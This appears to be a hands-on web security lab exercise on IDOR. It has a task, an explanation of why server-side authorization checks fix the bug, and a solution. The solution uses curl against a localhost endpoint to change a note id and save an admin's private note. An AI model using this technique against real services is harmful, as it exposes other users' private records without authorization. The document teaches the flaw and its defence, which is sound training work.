Read someone else's note
The /app/note endpoint returns whatever note id you ask for, with no ownership check. Use that to read the admin's private note and capture the flag inside it. Save what you find.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
By changing one number you read a record that wasn't yours. IDOR is one of the most common real-world web bugs precisely because it's this simple. The defence isn't to hide or randomise ids (that's only obfuscation) — it's to enforce authorization on the server for every object, every request: does this user own this record?
Show solution
cd /home/student
curl -s 'http://127.0.0.1:8080/app/note?id=2'
curl -s 'http://127.0.0.1:8080/app/note?id=1' -o note.txt
cat note.txt